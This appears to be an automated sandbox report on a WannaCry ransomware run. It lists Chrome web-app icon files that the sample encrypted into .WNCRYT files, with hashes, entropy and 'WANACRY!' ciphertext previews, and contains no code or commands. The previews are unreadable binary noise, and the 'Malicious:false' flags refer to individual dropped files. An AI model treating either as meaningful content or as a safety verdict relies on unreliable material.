                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5480
                                                                                                                        Entropy (8bit):7.967710802197382
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oX1Qkeeh/2vXeziPPxCBalMjZPH8oBLu2E0QX/rTRY/OoMlbqg/3pL7Y3HEogsI7:m1Q3PXe+PPbUNH8olu2FyrTKPMlbqI3F
                                                                                                                        MD5:4E7DDF25A9D36B32224727882EA50D63
                                                                                                                        SHA1:4D6E1A68E058C1C91E480A969A44942366D5CA6C
                                                                                                                        SHA-256:9AC8EF7C00422756ACBC2548CA8967815A1A8C2576A9C06DE55AF376E82A7A7A
                                                                                                                        SHA-512:A1E1DFD0411C1675EBA62D60B9C5154A239A75FE33F08BA3F452BC86B80435BC416BB6ADEF669AC3503A68ADBD829AF8BEB1AE2B6C954B89782563EB30468C63
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......`........W...;.'J}.&.)E..).wq*_..=...N........Wh.)OR..zES........ ....s3..D...AU.m....m>.Su....cq..aif.A+....fi$.....mw.X6.Q.D..]..e.,.,.....a.l.^..B.;<..A.+.;.*D.j....-....[..3.R..M........oY.._j..V..@O.4..v.qI<.H...'T..]...o.......R.....K.......S..A0..N..1..U....O.T..n9.N;.F.PWS.8.sk...J:J\......h.bqu.A.Yl.q .#.=W^......<....6....,..O.....#|.L....WNH...W"..%.|n/@s....2........8.w.z..#...a..^.g.5....o..vH..z..).a....B.5./.....9GI.|.Ii..V..Do...t...%.i.....M..Y..r.mvi.....N..........d.......R..l.m...G.(l.A........`....:.!...../z..5..PKJ.<....~.K2)]n........0.Y.:0.....cW....s...c[.f.dv....Rks!U>...=....$.dD....n..Wt=...6 .GJ..R..!.I.....l2.....O.\._.`SN!..m..]1xf.Q....P....;.[.ai...A.a15U.N.....a.i.....f.^d...?..=.!&w.Md.-)..+.-..Y..C.b.y..pb).fR#&....;..0....T(.t..<H.I7..............D.-...Va..?].B.7B.....0E)]v...{O..0[.O6....@..L..b.uqW..Q`..0R.'..IU....}7.q^..<.V...1....).L8..4.....M..)nEPPs.p..../...ADd.[Tt....

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\32.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1320
                                                                                                                        Entropy (8bit):7.838961219454062
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk0IHqk6MM6RzihU0k4vTauRsax19ZNgxgyJpxizw6yNaNb9N6nWvqiEC:bk0IHqkh/R+hU09b5bZNgC6izwrqb9N5
                                                                                                                        MD5:143B01927A73B8663D286BB7C468D4CC
                                                                                                                        SHA1:9EBD41214E9DB04A0A560AC8E31FFD5B9391C544
                                                                                                                        SHA-256:DF0C29635EDEFEA93BA03FFD4ECE679ED97655CC0854125C163E94B5EC41A872
                                                                                                                        SHA-512:812DF75A56826CE56ED862BE40CA6C97636C34363A451350847B02225A542F9F48FA5C01ED1BB12460B9C550D79F6ACD7ECA68AF9CBCCF22B4360D2FA420C8D0
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....CO.Tw.c..|..L.... JP.....%....r.\T`..<.._..U?J%p.....TZkm`...=...y........C....M.I.\S..w).SMy........\Cn....x`^fme.R.R.9!>$......6....W.F.p..].?.g#..y....*.!..o......T........Y.RW%.."!:..u.....v.o...G..6.f.=....P.g....r....`.u.R...e....H&.bo.t]..d.............K.,....-..u.j&.mQ..[...WW..!.V.g,.....F?z.}.......M.4.3....b.TZ.^.....k.............;.~mv...[..V.?L.u.H.G...o.R.jBv..t..x.9Jp..-......6.....I..S=...N..T..r..s..}...o...v.3.Xt.v$]....t....J&%.......o..h.]SqO..q'(...(.........t|'.-K.lhF2./..R..`qQ6i.;.O;.'.X~K9.r.4.Z.H...V,.e..#...y%pk8...*E..p..P...).#.F).9.Dv......|.....Y. ..f...?FZ>.......P.G.I.d>.F.U.D......7...k8...:....*s....{+.:.9gS...{.........Q.9.bjd.?_~.Y\IP".Cl9...n.....J.M..........*..;".mj....../....#.... .;.1...S.v u...+.c....+.2n..v.f.K...@i...iN..K+...4..j.e.8d.i.gVt_.P...u..1.fX...Y..O...D..T..........2....H.h..[..@."..l.L.....G...w..T..-%i..9...<.}/>e..(....wt.b..uM.[....... ...Dk..;.....8...xwy........

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\48.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1672
                                                                                                                        Entropy (8bit):7.895513899568766
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk728uASMGK9itXi9ju/n/jWMl2+3AaXdYYm+doW5C8rsBspQnHfXNaV:bk7JuASqYXSq//jWMhuHWxsB3/s
                                                                                                                        MD5:A56FC42D28B02E3226B1C3C1AF0FCAF3
                                                                                                                        SHA1:C90322F6626DF097DAD55D1C1193260A4E2D4F20
                                                                                                                        SHA-256:239F5802448EA3B470D7E33110F1EC19AF44F24F657B7F47E67B4F39FDD29FCF
                                                                                                                        SHA-512:26E9064250AC253D88BBDA412D16FA7DB4CEACB9FE31279CEEEBB351035FA817E9BB8E8349B648CBB5058E2071FC96AEB66332F3BAF0D48A24E8D8111A278038
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........4mA.'.r...GB....Du...h.]...#.<Q..%.........d.7....4.{Z......L.0..&..P...q..cv...i{..N}2Q.5V..Ox...Q.ZmHrvD...6........".d%.6.......L........-..Z..B..}.F.u.>...U.0,.*.....[cLK....Z...4R...#}.5..m.A......j........1..............]......a.......x.[....O....h..%..b.....-._.x.....<...R@...f.k..b.........h...d.?.+\Wo.......cMX.....#.;]:..A\...J$ J.-w...s..........U...Ca..S....1e[.wf..wq[..=..I..v.z..'.Y6.k.w.}....M..{.l.T.......W..CN...u......~....}$5H.e....3V.J>.E.........X.`>.v...Gp...?o.T.;f.h.Q...0s...e.$bjC..s^.}..T.|...ee.J..mYX...p4..T..")Do..~......C.)...H$+.../..Tk.......1$<.0..[C.g..h6..3.z$.....^@.9..g........@..5.'....2.(b..P+.~.M.....2b.....2.c.@G.[+....<.....~......2^.o...V..:....T]....^.\..M._.c..R=..%.....@...z.p.8@M..B?.'.q,g.Qh.#M:...Hl...Qf.6K..!.P.d.D.Y..1..}.....J........%.u...A.,...Byd.....vx...=....4.YS..r.A2.......P}."...x..W?.....87.X..5t.2......I..yp.....E~..&`,(..&B...TG....1....1.'T...Q.'..}.2...

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\64.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1816
                                                                                                                        Entropy (8bit):7.889455034033313
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bk1EXSvWfgrMWB12crcQzISedl0vc7cGkRbBC+HEM9gWDqIf/n:o1NvcgiCz6l02cGkRBHEMDqInn
                                                                                                                        MD5:FA68340666EA4A7B6F56F3C134471EE3
                                                                                                                        SHA1:114793363E35240F7574818B2FE2D28227A977C1
                                                                                                                        SHA-256:786D59DB1BFD8FCD5D4FDEA392E83CCABF8DAD50767BA2E54D8E0A75DD3EF945
                                                                                                                        SHA-512:019B7CD54DD2B9CDBD4E9BA694E5540D934FB599EDD6A281AAC8EEA37C509E44E1BBD290893D3E4F84C40CAA46850E77B40B9C06A07D394C118049EF3C0861EC
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......h..1.g......#"9:.G.<.".'......jm.<}0g.b..4......c.2...^.L.N..Z...V.S..lh* }..y8[$.(..ox../.&...~.9h..}..T.MT.6.a.fQ+=K..~......9..r..B5m..i..|....6.B.H)..[.........z...6`.\.......O..'~.R{...P..........O....E2..H.._..7k.NFL.'.+3a.....0.v. ....................G.q.)#.;Uvi.K7|.......a{uJ.!..LJ.V9m<O9}!h...'....Z.......t....CN$a]....>.;....e!....\HL...IS...Y]....vx....K.{%W..+.u.hL.R>..F...J.`.....u....xa.Mm5m$Q4..N...&a.Z.;..W.e..........r.....N_.kOl..jOg.`.[..[....0.W.d.c.-.5..1$%......h......7.Go.,...}Y.^|P.H..ZX........Q><MG'=.wr."..$..w.A......x0....B.*.............P.H..&%9].d.....{.C..HG..s..$. u..hc:...Y.ecp.......|....d..(..f*;........@....."Gl..^OF?....V..f....~...w..d.+...|.Fe*=hz.2...9<....k..{...Z...*a.F../..7......T.!.J......}.d..pU..GjIl..C..#?Q....y..........K."46..s..n$..kF....o....#....2.9k....2u..uZB.|r. ..<..h.ANpL.A..b.g.2......Zvq".t.Q.`M.r....(.R..{..j....1>.oZ8L..MI.=AE.H..;..Z.'.F........:..c.J..Z..

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\96.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2136
                                                                                                                        Entropy (8bit):7.919010321690766
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkQryukv6jmla6kC1dvkQRLnEX9BkXEwyCFCPiM:oCzjM1BkYLEX9GUw+PiM
                                                                                                                        MD5:EFDF4FDCD98BD8D127240BAF1A4F586B
                                                                                                                        SHA1:09769A85CEADEEDDD00D9EE961CC08F6BF610D20
                                                                                                                        SHA-256:D7CED9B03AF273A8334037BA4DDA02647D3668845CB08D89FCB4192DA6B0652A
                                                                                                                        SHA-512:C6A8C5BEF5E167F0811031A5A8C3C48EF1E914024BC79679D9BC39BDD073AF328BF6FF4AA1404AFADC017F03D6C9FA0D99308E301E50B2C48E579F7B0962B0A9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....8q..8.u5..P..f.=8..#].j.e..tQ.. J.|~.@&..eI.......(.6..m..."}.[........].......T....U.....8DL...,L-.p.i.../0_...-...n}".Fe..9P......T4.[.D%;.}.B..H....Q@!0N.s......}.....d......x.p..4d..../...t..>.{.{O.;...Y.?....^...}E.y...D..G..fd........0R-]....?.......... .\..M.h.QN..M.<.0..../R.. 5.........".~.l.yC...7..w..w.@V.&..8.X.&.....<)..Fxt.x..l. .&W.p=.e.-..M$q...H.6#..Y.P....).^.......;nq."U....)d..xs..}.v....6S.. bF.h..G....`.p..x...N...........Ns.m._mk.\..........pxh...z&.V"....EW ...n..j........m.f.*Q.>r....d4....h..x+.......X...V.f..Rc....5XB.W..oh..-...D...g.,l..C..~i..>..cRM...4.ZR}.c.v....>g..]AB..E...............M.f../.i...N.dUN.1..@(1|Z.~.6X.@...|E4.H..w....3>v....{...>.._?..i#.l..-o....`6....c.....0.5.....z;0../....M..s..J.U.c..<;`.....+....U>.M.<.m05..M..H.E.Z8.fp.6a].{7j}G..1...'.k.".g.d.9}.4?..[.$....}#...S.4......m..5..v......O.............6yt.j..rB.Q..\=)9......v.5NY-...Y!..FRT].v...d...d........2C.&2...-..

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\128.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):5672
                                                                                                                        Entropy (8bit):7.970289962607762
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:o72zUtPLYspfaH0EYiTwSZwB2O7p8XnTSX0clyKUqBGrBMjiC94UjCkkQOvZ:pzQMiNFicExO7mWOKUqQNMuCKkLkQOR
                                                                                                                        MD5:22B9888DCA925D40AE4DC62C733F3385
                                                                                                                        SHA1:B4DD13F00B85BB9A18876F02DDAE511F90BA0F26
                                                                                                                        SHA-256:3AFF97B7E7CA7ACC6D240ACE99BB65676F3045C184F70D45FB3462CB43FFA90F
                                                                                                                        SHA-512:7C01FC1FCC9E507AD31688B68ABF529C20C1A13C080F686B0D79B681617ACFD37E54CCEC815DE8AEE26EC4A7070E129170134F6F6BA615AEFE8EE717C13099C9
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......l..-R..`.=......h~......J..>?y..u.6.3..d......-z.G..ME.b............K.Y....ei........GE$DV......@...}..w..m.}.9.%6...>.m.V.....v.5.V. .._a..5.G......lG....dNf..S..........{..Z..V.#.....X@....n.U.?D....95......,x$l....z.....;5..J.t..`............|J....-...`.m..I.../{/DL.]..<....4a|.r..*...I.d.@.7.cNj._/.Mw-.3P...!A.o<./.....f..&Y..c.....|.n_..9.p.....~...@s.e.ban.i..ab^v".w..[0S..n...^^58.B PvT...@...s..Ky!4'....y..P-V:.2...Y.1.H.bO.;.....U.G[.{V-%...y..B.Q.X..\#"......V...on<..L?8...Ddia .j:.,19^.(6.L'O..4X...TY...gn.[I1q...!I..._...4q...k.,.x,..R% Q[.2.0.Hi..*....Y....!PX._.-T..U.&5.. $.....QQ..7)......{.....^..V.x.n ......M.y..G...*......R..%yN...?.Z.>...+.......x.4....sFJ..:.:..O.......t.'....L........X........7b./....~/...2"7..v=W...1#.+...K.)QX47...^@..G..(o..E-.L....z3..\......=d.{{....Mo.)X5.H.x2.'.......=..M.j.j.k.*...(.)L..W.w...m(%..}wH.=...K....Fj...._.....w...:3eBI.R...Y..U.:......+.`.

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\192.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3208
                                                                                                                        Entropy (8bit):7.934152619658814
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oWUDZL6/52H4tgdq4v0jg3d9bJ3Q9PdaDrRKt:qDNCoTcmddVQ9/t
                                                                                                                        MD5:1292E6CFD14E524AFC103D8FA33C7E2B
                                                                                                                        SHA1:FAFC24AED7D83F3226DEB09335623572A8E6EF56
                                                                                                                        SHA-256:56758DDA7297CA2ECC77593FC4B0C751F158CA8F81053F589D6938EEA52B43BD
                                                                                                                        SHA-512:58E178B2CE0265AB69127D3A9A5710805B0F92A247F3703EC20F13B66996186A1C8CAA5342A77D8E30CB49D1F08EC72E9B47CB9D5D5AD6B3AED768D418F347F7
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......$T..o..=.r.G........3..L......sYn...OCz..7.t.]Z.."...v..3..ew.%....pS.7.Y. 9.~r.D.......-.....Hj.n.6.H...d.M......... ..m..>.3.t.r.1D...9w.....B.6H....V..V?q..g..m^...r-.$,....c`)vX....s...V..o..E..../m...7.1."..........g......$4... k}.....k..........'L..a@.Y...u.*q..[$..o.B.r.e.......}...r0.(..YlC......^.i.......NT.....z.n.,1.....fmdr.....F|.)_.p-.'9$...{.w...o...=.y..a.U.iO..j.Z4..GN.k....~..d.....!YW.3 ..ql.....W.%..%L.p-.A^e]....a...9.|...?.{....K.cb'.?...`........2..rTj....../...I.....~.....rCS..#......X3?.A....&..Y.......|;..."....C1.@nI.....?m.5..;..wc\3F.p\...)(4zNg......~.7/.5...i.KH.6.P..>.j8..<Y.9.~.7..W...[P"..7G...k.n......(.C......K.4.BZ.S.!n.P.N..0H.%VVb.N."|'... ..`..u..9.TFX.'.H..B.:............P..:...j.x....t...r..A...-...%C.&....O..8..Ix.\...;..P..X.TH.FD2..&..G.F..j....b.}...qN_.`.?..#/1..NX....fY.Gr..x."C.[1wG".........e>.......f..3.)...3*w...?s@S..y..vs0m,.lU*B:....u".4.#..H.u...h.v.

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\256.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):12520
                                                                                                                        Entropy (8bit):7.983759549853239
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:384:q/aMg5pmy6PaNPYY4A38DlkRg4/Cw+z/YKqrDj:q/aLpmJyNPYYt380/Cwkov
                                                                                                                        MD5:BA42E7C8323F9F49C6A86DD1F404A385
                                                                                                                        SHA1:74331948D92F345B4FF462042CE33FDADEBCDBC4
                                                                                                                        SHA-256:031AED30B3DDAB4CC3C813124337A34CE70DD260809034890E7F3194B44FD1BE
                                                                                                                        SHA-512:A38FA930E0147719525E6D97CB6B7139E41164A729978DD6BA9820D2DC3B2DD37F01B902C13D57FF85C135C64C1C0A297C0C17507DF9F0625E1DE50FEEEC55C1
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!......t:.....&..E.(.....!...O&].(.\.b..+.+...`.\s.~...m...c...RB.q./H....0..v.PdV.+....`...@$^.. .X.....y./l....9....X..WQLc.7g.9..aFZ...^~..|C.B..ib.'....6,p=w.....D.} .yo....9...E..N .9}...........]..w..X.n.*?..).+.,...j(...1...D:+..N...`m..B..@...../......;..P...f..o.0y.?.....Gy..O.zzVD..7.#.s..U..<......|.N..7....~..A...^...nH..\..D.....4..nKe7....E)J...!}.>.....1..&b....[..:X.e...).......)r.:B...}...ZM..@.....0...q.J....+=..+..=...\.3...$[....4.r.[.pKk.:p2A.$.2P.l...x3.+.B.............9.....l.....2.#!.`......<f.w......\..N..?..?Rr...,..m._.b.z...,w..5..(%.-IL.q.0....=.2....e../.(;.>...'....'..>;A.D..U.~..7.....bb..F}..%...`.P..._/p{+..a{.1.[.iL..N^N.,..u...K..+H..T>.Y...8..)..|....m_..`......].'....8..].....:.x.oe.*..P.)p./.i....E~.B...Z..].....C...4b....:/L~...KO=.-...U/..Y...C... ..s[w..A..!.._*..q....=z....h...g) .N...<..J4ro...........w$b..=.....'.In.mn..x1..2......HQ..q+K..W...\.....ol.jR.yV......+.7...T..u_...M$.[.

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\32.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):1864
                                                                                                                        Entropy (8bit):7.877112957957458
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkrqCOyKQyaJaD3PP+YAjZoc/lqjXtQF/Q:ordOcBaDn+YAVPdq7tQF/Q
                                                                                                                        MD5:343FAE77AD3EEDD8F137BE1F07B53ADC
                                                                                                                        SHA1:9D9684C67A6E73211605AADEB92B2B568D666953
                                                                                                                        SHA-256:DDC8E35541E01DD12E1DD62751AED41692554022A0A3E4EE230881F43908CC86
                                                                                                                        SHA-512:82DDAE9F579C89CA33BC220A32BB1386C3170C1A5F5ACFE1B33756FE50D114A1AA7A163113D8B340529106C662B3BF8639374B81C8C287F512EF7F45C42657D8
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....-<P.X...^..fa.h.}..)Km.O......-.I.."..GTOX9...c..[......G1.8^...|.L\......ED..ZR>Q_..7.....`.....LF..$I.....wE...Ix...b..a..6......+......N.5_`I0C.Di=@.1.....z...F...<.q.O..ks=Q(.{V... .Z.r.Z.r..\.|..;v...ks.y....5:.Xlr6...6....|_.H]....!........F....=.. Nks.E..I...|1..Q.Q@{.Y.f...?,.qH.....%..u...@#..@..2.r...x......O.e..3y...L...kN...w...&.,......FO...R7.=...`...5..'...Zl.<.).=^.#..*.g..D.....Z.6....Nj1^....e...L..d>.k.#.1..5....8UC.OT.S.Y...y....E...c`l..K....M.'.....E...X**..;..9...~.B#...!d..e..B;.c...D..b.%t...7....!.........H......z.Ddm.#.d}I.A..~.....G../.......i......t>...i..R..a.....]X..(..0.C. .l....N.4....,pG.(R.0@...F...xx.......4=Xm*=)G...F...B.{....7..X.......J....I..x..!...+<g.i.....o.g...................$..&uSs7.#.N=.8.......Y.%R.QkX..?+3.fb.sa..:.z.Z...2:J(.r..6.A..0h7R.Y.{....."._1yw.Y/..n...D..)..XDa#.?.(..9.p....w...L..j....&....YH..O..q...<..V....e<......S...~?h'..\b...N......J..GZ.Yr

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\48.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2680
                                                                                                                        Entropy (8bit):7.932583907346789
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkpi08v2xYPcj61x1JGKyGG05479gCiwkT43J5uQg9n5QJs5E:oMqSciJbr5I9U03JDy2J5
                                                                                                                        MD5:184EB1563E4DC442A248994021A1D80D
                                                                                                                        SHA1:9AFA91ED9C0771771A0A26F4019595AD44B8DCD5
                                                                                                                        SHA-256:84BBAB333F3FCB479EB3243CBFB5CA949A18A31DF687E61D5C702652D4CFF722
                                                                                                                        SHA-512:A8640311A9C71A81BFDA768B85B2B6C5DFC08671592F856544C7465BF04F145C6EB521ED5ACE98B75B9DA99F385620DEA3B87F7301220FE50BD0265F9AB87978
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........~[?.{."s..hM...SC...Bg..GT<...U.Y.<=..."*.T.x.....P..b..Sd...[..q....CS.!...`.U...P.s[.A.v.o2...x[e"*.....+BF.k..%.....3xq.&...L......~WDIN..?..bd3....Bdx.E...g..Ue..L...B.+.d...WS;....P.......F..e..mI..x.9J.G...3.X..g".Z.l(%F...l.V..e.@./.-....V.......3.....3...G....<.r.z.K.7t?....1.f.O.X..@.*.^.FF........%...V...?ikl..-..w.+.y...:+.U.E...RM...!n(k.pH.{...m....v.Ew.LdB....S.I.K4..G.neZhn..p...6Q\..t.R...U.)....EK...:o..tP.1g..o.NUf.z...-........O.)....=Xa.....1...S.,....e5I....X:..;.....vvm....b..^.e..B.RF..z./Z..b.b.....Q.S.K.G1..,.:..F.|J......d....../,...H.K.BeXP.q....q..W.2X.!U ....,..?.2..W.N1.Ls....2..........+....x..U.....F.Ka..=..{./{...N.Z.o!}-.#%.4.Q.W..!g.O...(..B......dQ.t.`o...]......v...D,..=.e...(...m.;..AY7l=4".p..N.h.=....I.2....+Z......(.a....a<]..l.-...?A.B.^.......9.'9.9..SI.ye...Yn`Os......R*W=...1-..d..\*.m6i.#....P.H$....|.:1w.....".c...a._<....O..x.$...;.Jb._ff...+".@1@..g.....\.m.._..V.........4...

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\64.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):3288
                                                                                                                        Entropy (8bit):7.9275317354595645
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkzWZAwuEOpJ2JVvN5bD9foZCL2OLiXufwbDhJwRwq45mr4edockrNHXTqf7:ozWZ8pJuVva6Jfwp9Qr/dock5H8
                                                                                                                        MD5:D19C0CD2710DB0CC0DDBCFE20B937F3C
                                                                                                                        SHA1:512193C44B594DFD5B1D64163455B8364189EFAB
                                                                                                                        SHA-256:8F4971D2E8337061A758C014CC430F8BB7BAA0269ED14CFF133A2E307F2232D0
                                                                                                                        SHA-512:1E99F3132905B47A07101646BE3104A256BEE2D86DBD6D40537A8F64A71CB3F86017629FD48EC6DE9DBFDC3142280BB93A58174184917DA475EDEA1AD30987B1
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........?..Z............W.O..>[_.w...0....!V.[..).V.o+A.....A.:....h..}....`H.7.;..x.hs.a....#'QUwE~....P.~..Z....."..:R./..7.]6.....k...u.>^.~"vT....d/...r.:....rT...p...r~\..{.b. .W..5....%...P4!.d....J....h\..:.:y..?d.{..y.....*.q/.c.g~.............(O......i",..7...Y"N.CZ.z..b...pW..*2.T.3..C....(..J...;.X.h..c[...;.F.k..C2...bl...A}..../CR.26......d..N/.@.o..J.@.!'{..9.....I....i.v...._....ZC..".iC.Bq/.^...w...V|Q.U.Eu.'...<.@F.....Y@i..R.j..v..w.kMo...+.Q].........).;..1..]...*..%...)a....*U.2..0...b.#.K...L.^L.1..;j')......Sa.q.):eB.y......$.....E3...<...'......OE.k.).h.7.Z..s....[..=._>.6@....zT...6.kJ-+.A.! ...c.5KhI.y.N.,.|].$..........+..^\.t>..Ko......8...X..]....}.......u.IiX..u]...,...m........!..C%.wL.4...nkA.......i.......^p8x....`.......".S."..d...R..!....HS. \.il.V..v......w.....W*c.Q."..@.. /Z~&.*.....L\].`q..RoP`.d...>.}K...>&(A...c.Ky......Po.}.K..M.....4.[....T...........1.*Ou.:U#/.{.k!...7Z...h.....

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fmgjjmmmlfnkbppncabfkddbjimcfncm\Icons\96.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):4152
                                                                                                                        Entropy (8bit):7.959608486674884
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:onRHtZ2ZeLyHT8fuvTLxmApB5R5rx0ROZmpjzgsd7ta5Tf:cB9Lyz8fATBBP5rxFYpB7qf
                                                                                                                        MD5:768AB3C92CC7B3BBAECE8C9695F1DD23
                                                                                                                        SHA1:0A54DB1AA947D1F46082FC0A5055A3965076A184
                                                                                                                        SHA-256:A2489964381D0135CC128ECD56EEB3234E5E13E6E171F61E12273C37398EDB30
                                                                                                                        SHA-512:DC5EC0C1B42D5655ED99C51EF7072A113E073665ABAB40E884B28B3C2453CC03A3498F713CF060B26E27C597E90DB5CB39F0E5C22DA0DBE31160133ED81F207F
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....F......{.f.."}......].N.sH..E 4.t.o/]...5.wG..$....}......D+78........c..<...S.S.B.Q..u.M...$-.v4.~J]..&....6.~!..'YEC.".U......X.{.....S.[....:..NW".. ....x...wBh.=rR.)..s.F..wO....8.T.z.......i..5~!_.@y..6...<..".......B\Du]J.M..p....x....................h.uz.S..q.... j.......AH(..f.;....g50&..Oa.......}!.iM.|............3;..#*^...N..\.....=p..1b.O......rk(*p......R...{........dY..o~.......?.......................Ae...`.[......S.....{ .r.2....tJ..9V%..P../..;sb$).....#....R..h.....v........".8<q..k~C.....w/3.cy.4..'...~.u....0.......yu0.NE:..sR..D..6... .o..l.6.U&.-2.@../c?7<.H~.XN....m.....I..*Y.X(.W..4#.+.S4.Q...1.+c.....p.8...+.3a.....\.g...Y.|&[..*.Z..,IQ.X.....?.f....#.#.-......!.>...Z..Q...dd......2.....}....(....?..bB....u..@....@.Y.......&<...b.L.rL....].C.Di.^g..Kr.2..9..D..uoF.)..<`j.O4.....V0...G..........H..+.8.Cg..]...5...(..J.C.4....>H3.QZ....A.....Q(.FfR`.x.mE...XjU..$....i..`.n73....Gn..A....).[_g.y?.k.q1.

                                                                                                                        C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\kefjledonklijopmnomlcbpllchaibag\Icons\128.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2232
                                                                                                                        Entropy (8bit):7.914974795633161
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkB9EtsmHlN+psUVC1ZQ6r5ceGpzT8J7jVaiSO4DXV7:oosm+u155izGjwi+XV7
                                                                                                                        MD5:D1BEAF303CF8C40096054EFBE42D7C68
                                                                                                                        SHA1:DFA63322D515E73050E5B7AA7E7F7DACF7792115
                                                                                                                        SHA-256:84F59E4A31807876F0FAAF6D0645C6BB7B45322F8986358798AA781D291D12F1
                                                                                                                        SHA-512:FA688D7AB84D2FC0D3EA764E96B2DD0BE38881576650A6C48AE75CB45597D05CC3E4AB0BEE3FE9C5A7E4B2F97669BCCBDF11922F234EE1CAE1F0EE96426A5BB1
                                                                                                                        Malicious:false
